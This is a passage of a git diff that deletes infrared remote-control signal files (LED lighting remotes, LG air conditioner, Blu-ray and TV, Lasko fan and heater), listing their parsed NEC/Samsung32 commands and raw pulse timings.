2266 606 96535 9193 2257 604 96533 9196 2263 598 96544 9193 2262 599 96538 9188 2264 597 96540 9187 2265 606 96535 9191 2266 605 96536 9191 2259 602 96535 9203 2261 600 96539 9208 2258 603 96536 9201 2258 603 96534 9203 2261 600 96538 9199 2262 599 96544 9203 2284 628 96488 9188 2293 630 96482 9215 2261 600 96516 9200 2263 609 96542 9205 2257 604 96545 9191 2266 606 96540 9186 2264 608 96536 9189 2264 608 96528 9217 2265 606 24510 9223 4514 604 570 609 565 604 570 609 562 607 566 603 570 609 594 585 563 606 1681 606 1684 613 1675 612 1673 603 1684 613 1674 613 1675 602 1683 604 572 607 1680 607 565 604 567 602 1681 606 567 602 570 599 1683 604 1679 608 565 604 1680 607 1679 608 564 605 1679 608 1676 601 571 608 -# -name: Green_light -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 94 00 00 00 -# -name: Red_light -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 96 00 00 00 -# -name: Blue_deep -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9208 4514 614 591 578 597 582 565 604 568 611 563 606 598 581 594 585 590 579 1680 607 1681 606 1684 603 1683 604 1682 605 1682 605 1681 606 1680 607 1678 609 590 579 1679 608 592 577 1681 606 593 576 596 583 1674 603 570 609 1676 611 563 606 1679 608 567 602 1683 604 1683 604 570 609 39179 9234 2265 606 96537 9231 2265 607 96550 9229 2265 606 96525 9235 2256 667 96735 9231 2266 606 96632 9211 2267 605 96539 9201 2263 609 96534 9256 2256 605 96524 9256 2260 612 96522 9249 2263 609 96521 9220 2261 600 96535 9215 2263 609 96519 9220 2264 608 96524 9225 2264 608 96525 9243 2263 608 96524 9237 2263 609 96526 9245 2260 612 96519 9250 2262 610 96523 9224 2261 611 96526 9222 2256 605 96528 9222 2256 605 96529 9233 2254 607 96527 9245 2257 604 96527 9241 2265 607 96526 9232 2257 604 96517 9210 2264 608 diff --git a/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/Magic_Lighting_Remote.ir b/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/Magic_Lighting_Remote.ir deleted file mode 100644 index a14f723fe..000000000 --- a/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/Magic_Lighting_Remote.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Off -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4076 4497 331 539 335 583 291 532 331 539 335 584 290 581 293 532 331 541 333 1648 329 1651 336 1690 287 1696 291 1642 335 1648 339 1644 333 1649 338 536 338 1644 333 1650 337 537 337 536 338 537 337 536 338 537 337 1647 330 587 287 537 337 1694 293 1640 337 1692 285 1648 339 1690 287 59795 13271 2259 280 98396 13269 2276 273 98426 13292 2256 272 98428 13268 2283 277 98424 13273 2276 273 -# -name: On -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 174 8463 294 580 262 609 265 626 279 578 264 626 279 563 259 592 172 1052 264 1731 256 1715 293 1694 345 1652 252 1734 253 1721 266 1721 266 3719 178 39 179 6228 281 4075 285 1710 298 1687 279 1708 279 1646 341 1705 272 59603 196 12564 180 183 181 2173 278 98492 247 10659 1351 122 174 339 290 2280 259 98501 250 10985 177 115 587 119 177 291 177 115 176 2295 249 98530 250 10658 2279 2284 255 98517 254 10758 1159 357 361 119 193 2281 248 -# -name: Brighter -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4082 4497 331 539 335 535 339 530 333 539 335 535 339 532 331 540 334 538 336 1609 378 1605 372 1609 378 1609 378 1607 380 1609 378 1634 343 1603 374 1639 338 534 340 1641 336 537 337 536 338 536 338 533 341 533 341 531 343 1636 341 499 343 1664 344 1635 342 1636 362 1618 338 1642 335 59711 13365 2274 275 98192 13430 2281 278 98226 13355 2284 276 -# -name: Darker -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 180 8430 264 608 266 604 259 610 264 606 268 603 260 609 265 606 268 605 258 1722 265 1715 262 1719 258 1721 266 1715 262 1719 268 1715 262 1720 267 606 268 604 259 1723 264 611 263 609 265 610 264 608 266 607 267 1713 264 1716 261 613 261 1720 267 1729 258 1710 267 1680 339 1640 358 38767 496 106 180 602 4491 585 330 647 289 109908 203 116 180 8120 272 599 306 565 277 573 290 601 304 548 295 573 290 601 304 549 262 1737 182 1777 298 1681 296 1685 292 1690 297 1683 294 1706 281 1687 181 39 179 469 264 607 267 1675 364 521 181 64 175 530 286 587 255 609 265 606 268 1713 264 1713 264 609 265 1717 260 1714 263 1649 390 1682 264 1718 290 -# -name: Red -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4070 4492 336 532 331 539 335 536 338 531 332 537 337 535 339 534 340 531 332 1648 339 1641 336 1645 332 1648 339 1641 336 1646 331 1653 334 1647 340 1643 334 539 335 539 335 1648 339 534 340 535 339 535 339 534 340 531 332 1649 338 1646 331 538 336 1646 331 1649 338 1642 335 1645 332 59768 13221 2279 280 98376 13242 2198 330 -# -name: Green -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4115 4504 324 582 281 538 336 535 339 530 333 537 337 505 369 502 372 531 332 1648 339 1643 334 1646 331 1650 337 1643 334 1649 338 1641 315 1689 179 -# -name: Blue -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 201 8424 275 576 298 572 291 599 296 558 285 603 271 599 275 580 294 596 278 1684 293 3677 277 1711 276 1691 286 1640 337 1639 348 1635 342 546 338 1698 279 585 299 1636 341 545 339 537 347 541 353 509 344 1635 404 536 348 1638 349 539 376 1638 328 79436 203 3212 773 4525 282 548 357 506 357 530 354 542 342 506 409 515 411 587 276 545 349 1677 289 1690 266 1709 268 1710 267 1714 263 1717 291 1693 263 1718 269 607 267 1722 265 613 172 1814 261 616 268 607 267 612 262 615 259 1721 297 579 263 1720 267 606 268 1715 272 1714 263 1723 264 1720 267 -# -name: White -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 175 8455 280 593 301 565 288 585 278 583 270 597 297 576 298 563 181 1065 303 5651 280 3674 301 1698 279 7614 346 532 342 1710 277 539 345 535 339 539 345 584 279 598 276 2584 308 567 275 3701 294 1688 278 1709 278 59644 176 11236 179 1178 174 4633 263 97280 248 10633 4435 2254 253 -# -name: Flash -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 181 8431 263 608 203 1154 271 600 263 608 266 1480 299 575 267 617 288 1700 277 5676 276 1712 296 1689 298 1685 271 1716 271 1715 272 1716 271 1655 343 1691 296 537 368 509 344 578 296 578 348 522 612 592 282 590 284 589 285 1701 286 1699 288 1698 289 1695 282 59309 15199 2279 280 97206 15190 2281 278 -# -name: Strobe -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 246 8364 263 609 265 606 257 614 260 611 263 608 266 609 265 591 173 1051 265 1718 259 1724 263 1721 266 1718 259 1724 263 1721 266 1719 268 1718 269 1718 269 1718 269 1719 268 609 265 1724 263 598 255 615 269 607 267 597 178 1195 266 605 269 1716 261 612 262 1723 264 1721 266 1718 269 59329 246 10647 4348 2282 288 -# -name: Fade -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 182 262 175 5253 179 259 245 499 172 2203 341 96965 198 12787 2720 2284 276 -# -name: Smooth -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 15227 4499 277 577 297 594 269 602 272 601 273 599 275 597 277 596 278 588 286 3688 277 1690 297 1705 303 3669 275 1713 274 1691 629 1704 273 1654 344 536 369 553 289 1648 339 585 289 587 349 543 279 577 265 604 270 1675 343 1641 346 585 278 1687 290 1698 341 1639 296 53299 15138 2286 274 97253 15237 2259 280 -# -name: Yellow -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 15231 2218 248 -# -name: Pink -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 176 8806 294 577 265 604 259 610 295 578 264 607 267 602 272 601 262 611 263 1720 267 1732 276 1692 264 1716 261 1718 290 1696 260 1734 253 1723 264 612 262 1740 278 598 286 575 267 1718 269 609 265 1484 264 1718 269 607 267 1727 250 1720 298 574 268 1715 262 1721 266 1718 269 59632 202 10692 307 117 528 120 176 470 175 289 444 117 257 117 205 118 178 2928 261 -# -name: Yellow -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 15192 4552 286 534 340 504 370 531 332 538 336 505 369 533 341 531 332 539 335 1647 340 1644 333 1650 337 1643 334 1649 338 1646 341 1642 335 1618 369 1615 372 536 338 539 335 542 332 1653 334 543 341 505 369 536 338 535 339 1644 333 1651 336 1648 339 532 342 1642 335 1649 338 1645 332 53458 15180 2285 274 97156 15186 2284 275 -# -name: Purple -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4426 4547 281 591 283 585 289 582 281 587 287 584 290 582 281 590 315 558 284 1697 290 1694 283 1699 288 1693 284 1698 289 1684 345 1647 319 1616 340 578 296 1692 295 1691 296 581 293 1649 338 540 344 576 178 704 289 1683 262 619 286 596 278 1688 341 531 291 1690 297 1687 290 1713 274 59602 15175 2283 276 -# -name: Royal_Blue -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 5911 4553 317 555 287 584 290 582 281 585 309 514 339 582 312 560 282 539 335 1701 286 1698 289 1695 282 1701 286 1697 311 1622 334 1702 285 1649 338 591 314 512 341 535 339 589 316 1619 368 558 295 584 310 513 340 1694 283 1702 285 1696 312 1670 317 556 286 1697 290 1690 308 1677 289 58761 15166 2276 273 97195 15150 2285 274 diff --git a/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/Practical_Series_2.ir b/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/Practical_Series_2.ir deleted file mode 100644 index a03f4f1bf..000000000 --- a/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/Practical_Series_2.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Practical_series_2 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 45 00 00 00 -# -name: On -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 45 00 00 00 -# -name: Bright_2 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 46 00 00 00 -# -name: Off_3 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 47 00 00 00 -# -name: C_4 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 40 00 00 00 -# -name: 6 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 43 00 00 00 -# -name: S_7 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 15 00 00 00 -# -name: 9 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 09 00 00 00 -# -name: Red_10 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 16 00 00 00 -# -name: Green_11 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 19 00 00 00 -# -name: Blue_12 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: 13 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: 14 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 18 00 00 00 -# -name: 15 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 5E 00 00 00 -# -name: 16 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 17 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: 18 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 5A 00 00 00 -# -name: 19 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 42 00 00 00 -# -name: 20 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 52 00 00 00 -# -name: 21 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 4A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/LED Lighting/MonsterIlluminessence/MonsterIlluminessence_LED.ir b/assets/ir_optional_assets/optional-assets/LED Lighting/MonsterIlluminessence/MonsterIlluminessence_LED.ir deleted file mode 100644 index 75da62cbe..000000000 --- a/assets/ir_optional_assets/optional-assets/LED Lighting/MonsterIlluminessence/MonsterIlluminessence_LED.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ON -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 00 FF 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 01 FE 00 00 -# -name: Reset -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 02 FD 00 00 -# -name: Cool -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 04 FB 00 00 -# -name: Soft -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 05 FA 00 00 -# -name: Warm -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 06 F9 00 00 -# -name: DIM_UP -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 03 FC 00 00 -# -name: DIM_DOWN -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 07 F8 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 08 F7 00 00 -# -name: Light_RED -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 09 F6 00 00 -# -name: Orange -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 0A F5 00 00 -# -name: Yellow -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 0B F4 00 00 -# -name: Green -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 0C F3 00 00 -# -name: Light_Green -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 0D F2 00 00 -# -name: Light_Blue -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 0E F1 00 00 -# -name: Cyan -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 0F F0 00 00 -# -name: Blue -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 10 EF 00 00 -# -name: Dark_Blue -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 11 EE 00 00 -# -name: Purple -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 12 ED 00 00 -# -name: Pink -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 13 EC 00 00 -# -name: Flash -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 14 EB 00 00 -# -name: Strobe -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 15 EA 00 00 -# -name: Fade -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 16 E9 00 00 -# -name: Smooth -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 17 E8 00 00 diff --git a/assets/ir_optional_assets/optional-assets/LED Lighting/mlambert_rope_light.ir b/assets/ir_optional_assets/optional-assets/LED Lighting/mlambert_rope_light.ir deleted file mode 100644 index c8bddd09c..000000000 --- a/assets/ir_optional_assets/optional-assets/LED Lighting/mlambert_rope_light.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Off -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 1F E0 00 00 -# -name: On -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 1E E1 00 00 -# -name: Brighter -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 1C E3 00 00 -# -name: Dimmer -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 1D E2 00 00 -# -name: Red -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 00 FF 00 00 -# -name: Green -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 01 FE 00 00 -# -name: Blue -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 02 FD 00 00 -# -name: White -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 03 FC 00 00 -# -name: Light_red -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 04 FB 00 00 -# -name: Orange -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 08 F7 00 00 -# -name: Light_yellow -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 0C F3 00 00 -# -name: Yellow -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 10 EF 00 00 -# -name: Light_green -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 05 FA 00 00 -# -name: Light_blue -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 09 F6 00 00 -# -name: Aqua -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 0D F2 00 00 -# -name: Turquoise -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 11 EE 00 00 -# -name: Mid_blue -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 06 F9 00 00 -# -name: Dark_purple -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 0A F5 00 00 -# -name: Purple -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 0E F1 00 00 -# -name: Light_purple -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 12 ED 00 00 -# -name: Fade -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 07 F8 00 00 -# -name: Jump -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 0B F4 00 00 -# -name: Asyn_fade -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 0F F0 00 00 -# -name: Asyn_jump -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 13 EC 00 00 -# -name: Speed -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 17 E8 00 00 -# -name: 6h -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 14 EB 00 00 -# -name: 12h -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 15 EA 00 00 -# -name: Timer_off -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 16 E9 00 00 diff --git a/assets/ir_optional_assets/optional-assets/LG_AC.ir b/assets/ir_optional_assets/optional-assets/LG_AC.ir deleted file mode 100644 index db3adfa8a..000000000 --- a/assets/ir_optional_assets/optional-assets/LG_AC.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 81 7E 00 00 -# -name: Temp Down -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 8A 75 00 00 -# -name: Temp Up -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 85 7A 00 00 -# -name: Fan Speed -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 99 66 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 9F 60 00 00 -# -name: Mode -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 9B 64 00 00 diff --git a/assets/ir_optional_assets/optional-assets/LG_BlueRay.ir b/assets/ir_optional_assets/optional-assets/LG_BlueRay.ir deleted file mode 100644 index 83687a837..000000000 --- a/assets/ir_optional_assets/optional-assets/LG_BlueRay.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 30 00 00 00 -# -name: Eject -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 36 00 00 00 -# -name: Pause -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 38 00 00 00 -# -name: Play -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 31 00 00 00 -# -name: Stop -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 39 00 00 00 -# -name: Forward -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 33 00 00 00 -# -name: Backward -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 32 00 00 00 -# -name: Chptr_next -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 34 00 00 00 -# -name: Chpter_back -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 35 00 00 00 -# -name: Title_popup -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 4A 00 00 00 -# -name: Info_menu -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 3A 00 00 00 -# -name: Home -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 67 00 00 00 -# -name: Up -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 47 00 00 00 -# -name: Down -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 48 00 00 00 -# -name: Left -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 59 00 00 00 -# -name: Right -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 5A 00 00 00 -# -name: Enter -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 58 00 00 00 -# -name: Disc_menu -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 4B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/LG_C1.ir b/assets/ir_optional_assets/optional-assets/LG_C1.ir deleted file mode 100644 index ce171c66e..000000000 --- a/assets/ir_optional_assets/optional-assets/LG_C1.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 08 00 00 00 -# -name: Channel_up -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 00 00 00 00 -# -name: Channel_dn -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 01 00 00 00 -# -name: Vol_up -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 02 00 00 00 -# -name: Vol_dn -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 03 00 00 00 -# -name: Up -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 40 00 00 00 -# -name: Down -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 41 00 00 00 -# -name: Left -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 07 00 00 00 -# -name: Right -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 06 00 00 00 -# -name: Select -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Lasko_fan.ir b/assets/ir_optional_assets/optional-assets/Lasko_fan.ir deleted file mode 100644 index 6580793b9..000000000 --- a/assets/ir_optional_assets/optional-assets/Lasko_fan.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1280 457 1229 426 468 1236 1282 456 1230 427 468 1236 470 1235 471 1235 471 1235 471 1235 492 1240 1289 7171 1290 422 1284 399 464 1238 1291 422 1284 399 464 1239 467 1238 468 1238 468 1238 489 1217 500 1233 1285 7176 1285 426 1280 403 471 1232 1286 426 1281 403 471 1232 464 1242 496 1210 496 1237 469 1236 470 1236 1282 7206 1286 399 1287 422 441 1262 1287 398 1288 449 435 1215 491 1241 465 1240 466 1240 466 1240 466 1240 1289 7199 1283 429 1257 426 469 1235 1283 428 1258 426 469 1234 473 1234 472 1234 472 1233 474 1233 463 1243 1306 7182 1289 448 1258 398 465 1238 1291 448 1258 425 438 1239 467 1238 468 1238 468 1237 490 1216 490 1242 1287 -# -name: Osc -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1289 448 1227 454 441 1238 1280 457 1228 454 441 1238 468 1239 1289 448 436 1215 491 1242 475 1233 473 8012 1281 457 1249 406 468 1237 1281 457 1260 396 467 1238 468 1239 1290 448 436 1242 475 1233 473 1234 472 8013 1291 421 1285 397 466 1238 1291 421 1285 398 465 1239 467 1240 1288 423 472 1233 473 1233 473 1234 472 8014 1289 449 1257 398 465 1239 1289 422 1284 398 465 1239 467 1240 1309 403 471 1233 473 1234 472 1235 471 8015 1309 402 1283 426 437 1241 1308 403 1283 427 436 1241 496 1237 1281 404 470 1235 471 1235 471 1236 491 8021 1282 402 1284 452 443 1235 1283 402 1284 452 443 1209 497 1236 1282 402 472 1233 463 1243 495 1212 494 8019 1284 427 1258 450 445 1233 1285 426 1259 450 444 1233 473 1233 1285 426 437 1240 497 1209 497 1236 470 8016 1288 450 1225 431 464 1241 1288 451 1255 402 472 1232 474 1232 1286 452 443 1235 523 1183 471 1235 471 -# -name: Speed -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1286 424 1251 430 465 1241 1287 423 1252 457 437 1241 465 1242 464 1243 474 1234 472 1235 1314 423 440 8017 1286 451 1255 401 462 1242 1286 452 1254 402 472 1232 474 1233 473 1234 472 1234 493 1241 1287 424 439 8014 1289 422 1284 426 437 1241 1287 451 1255 403 471 1234 472 1234 472 1235 492 1215 491 1242 1286 399 464 8018 1285 426 1280 403 471 1234 1284 454 1252 404 470 1235 471 1236 491 1215 491 1243 526 1181 1285 427 436 8019 1315 423 1262 395 468 1236 1313 400 1286 424 439 1238 489 1218 499 1235 471 1236 470 1236 1282 430 464 8019 1284 401 1284 426 468 1236 1282 404 1281 456 438 1240 466 1240 466 1241 465 1241 465 1242 1286 426 468 8015 1288 424 1261 448 436 1242 1286 426 1259 451 444 1234 472 1234 472 1235 471 1235 471 1236 1282 456 438 diff --git a/assets/ir_optional_assets/optional-assets/Lasko_heater.ir b/assets/ir_optional_assets/optional-assets/Lasko_heater.ir deleted file mode 100644 index e03581787..000000000 --- a/assets/ir_optional_assets/optional-assets/Lasko_heater.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1282 430 1260 427 412 1272 1258 428 1251 435 415 1270 409 1275 415 1269 410 1274 416 1269 410 1274 1256 7299 1278 435 1255 431 408 1276 1254 433 1257 429 410 1274 416 1268 411 1273 417 1267 412 1246 433 1251 1279 7301 1286 427 1252 434 416 1268 1251 435 1255 431 408 1276 414 1270 409 1275 415 1269 410 1274 416 1242 1288 7293 1284 429 1250 436 414 1269 1261 426 1253 433 406 1277 413 1245 434 1249 441 1244 435 1249 441 1270 1260 7294 1283 430 1260 426 413 1270 1260 427 1252 434 416 1267 412 1272 407 1251 439 1246 433 1251 439 1245 1285 7295 1281 432 1258 428 411 1272 1258 429 1250 436 414 1269 410 1274 416 1242 437 1248 442 1242 437 1247 1283 -# -name: High -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1284 430 1260 428 411 1272 1258 431 1259 428 411 1273 417 1242 490 1195 495 1191 1286 402 437 1273 417 8139 1287 427 1252 434 416 1268 1262 427 1252 434 416 1268 411 1248 442 1243 436 1249 1280 433 417 1268 411 8144 1283 432 1258 429 410 1273 1257 431 1259 428 411 1273 417 1242 437 1248 442 1243 1287 427 412 1272 407 8148 1278 435 1255 433 406 1277 1253 435 1255 432 407 1277 413 1272 407 1251 439 1246 1283 431 408 1276 414 8141 1286 428 1251 435 415 1270 1260 427 1252 435 415 1269 410 1274 416 1269 410 1275 1255 432 407 1278 412 8143 1284 429 1250 436 414 1271 1259 428 1251 435 415 1270 409 1249 441 1270 409 1276 1254 433 406 1278 412 8143 1284 429 1261 426 413 1271 1259 402 1278 435 415 1270 409 1249 441 1271 408 1250 1280 433 417 1268 412 8143 1284 402 1278 435 415 1270 1260 427 1253 434 416 1269 410 1274 416 1242 437 1248 1282 431 408 1276 414 8141 1286 426 1254 433 417 1268 1252 435 1255 432 407 1277 413 1271 408 1277 413 1272 1258 429 411 1274 416 8138 1278 434 1256 430 409 1276 1254 432 1258 429 410 1274 416 1269 410 1275 415 1270 1260 426 414 1271 408 8146 1281 432 1258 428 412 1273 1257 430 1260 426 413 1271 408 1276 414 1271 408 1276 1254 434 416 1268 411 8142 1285 428 1251 435 415 1269 1261 426 1254 433 406 1278 412 1272 407 1278 412 1272 1258 429 410 1275 415 8139 1277 435 1255 432 407 1277 1253 434 1256 430 409 1275 415 1270 409 1275 415 1270 1259 427 412 1273 406 8147 1280 433 1257 430 409 1275 1255 431 1259 428 411 1273 406 1278 412 1273 417 1267 1252 435 415 1270 409 8144 1283 430 1260 426 413 1271 1259 428 1251 435 415 1269 410 1275 415 1269 410 1274 1256 432 407 1277 413 8140 1287 426 1253 433 406 1278 1252 435 1255 431 408 1276 414 1271 408 1276 414 1271 1259 428 411 1273 417 8137 1279 433 1257 430 409 1275 1255 432 1258 428 411 1273 417 1267 412 1272 407 1278 1252 434 416 1269 410 8142 1285 428 1252 435 415 1269 1250 436 1254 432 407 1277 413 1271 408 1277 413 1271 1259 428 412 1273 406 -# -name: Low -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1284 402 1278 408 442 1243 1287 399 1280 432 408 1251 439 1245 434 1250 440 1245 434 1276 1254 433 406 8146 1281 406 1284 429 410 1273 1257 430 1260 427 412 1271 408 1276 414 1271 408 1276 414 1271 1259 428 411 8141 1285 427 1252 435 415 1269 1261 426 1253 433 406 1278 412 1272 407 1277 413 1272 407 1277 1252 435 415 8137 1279 435 1255 431 408 1276 1254 433 1257 429 410 1274 416 1269 410 1274 416 1269 410 1274 1256 431 408 8144 1283 431 1259 427 412 1272 1258 429 1250 436 414 1270 409 1276 414 1270 409 1275 415 1270 1259 427 412 8140 1286 427 1252 434 416 1268 1251 436 1254 432 407 1277 413 1271 408 1276 414 1271 408 1276 1254 433 406 8146 1280 432 1258 429 410 1274 1256 430 1260 427 412 1271 408 1276 414 1271 408 1276 414 1271 1259 428 412 8140 1287 426 1253 433 407 1277 1253 434 1256 430 409 1275 415 1269 410 1248 442 1269 410 1274 1256 431 408 8143 1284 429 1250 436 414 1244 1286 426 1254 433 407 1278 412 1246 433 1277 413 1271 408 1250 1280 433 407 8145 1282 405 1285 427 413 1245 1285 402 1278 434 416 1243 436 1248 442 1242 438 1247 443 1241 1278 408 442 8136 1280 406 1284 402 438 1247 1283 403 1287 399 440 1244 435 1249 441 1244 